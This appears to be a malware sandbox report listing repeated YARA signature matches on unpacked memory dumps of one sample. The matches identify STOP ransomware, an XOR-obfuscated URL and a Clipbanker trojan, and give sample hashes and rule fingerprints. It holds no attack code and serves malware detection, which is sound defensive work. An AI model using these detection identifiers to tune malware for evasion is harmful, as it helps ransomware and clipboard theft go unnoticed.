Source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.0.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.0.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
